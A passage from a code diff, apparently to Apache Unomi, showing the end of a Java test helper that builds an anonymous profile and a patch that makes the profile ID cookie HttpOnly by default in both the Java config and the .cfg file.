+ /** A profile carrying the anonymous marker, as {@code PrivacyService#getAnonymousProfile} builds it. */
+ private static Profile anonymous() {
+ Profile anonymousProfile = new Profile();
+ anonymousProfile.getSystemProperties().put("isAnonymousProfile", true);
+ return anonymousProfile;
+ }
+
+ private static void setField(Object target, String fieldName, Object value) throws Exception {
+ Field field = target.getClass().getDeclaredField(fieldName);
+ field.setAccessible(true);
+ field.set(target, value);
+ }
+}
diff --git a/web-servlets/src/main/java/org/apache/unomi/web/servlets/WebConfig.java b/web-servlets/src/main/java/org/apache/unomi/web/servlets/WebConfig.java
index f5d1a145dc..8932eac7d7 100644
--- a/web-servlets/src/main/java/org/apache/unomi/web/servlets/WebConfig.java
+++ b/web-servlets/src/main/java/org/apache/unomi/web/servlets/WebConfig.java
@@ -58,7 +58,7 @@ public class WebConfig {
int contextserver_profileIdCookieMaxAgeInSeconds() default 31536000;
@AttributeDefinition
- boolean contextserver_profileIdCookieHttpOnly() default false;
+ boolean contextserver_profileIdCookieHttpOnly() default true;
@AttributeDefinition
String allowed_profile_download_formats() default "csv,yaml,json,text";
diff --git a/web-servlets/src/main/resources/org.apache.unomi.web.cfg b/web-servlets/src/main/resources/org.apache.unomi.web.cfg
index eb488515d8..ad620bc11d 100644
--- a/web-servlets/src/main/resources/org.apache.unomi.web.cfg
+++ b/web-servlets/src/main/resources/org.apache.unomi.web.cfg
@@ -23,7 +23,7 @@ contextserver.profileIdCookieName=${org.apache.unomi.profile.cookie.name:-contex
# This setting controls the maximum age of the profile cookie. By default it is set to a year.
contextserver.profileIdCookieMaxAgeInSeconds=${org.apache.unomi.profile.cookie.maxAgeInSeconds:-31536000}
# This setting controls if the cookie should be flagged as HttpOnly or not.
-contextserver.profileIdCookieHttpOnly=${org.apache.unomi.profile.cookie.httpOnly:-false}
+contextserver.profileIdCookieHttpOnly=${org.apache.unomi.profile.cookie.httpOnly:-true}
#Allowed profile download formats, actually only csv (horizontal and vertical), json, text and yaml are allowed.
allowed.profile.download.formats=${org.apache.unomi.profile.download.formats:-csv,yaml,json,text}
# This setting allow for request size (Content-length) protection. Checking that the requests do not exceed the limit.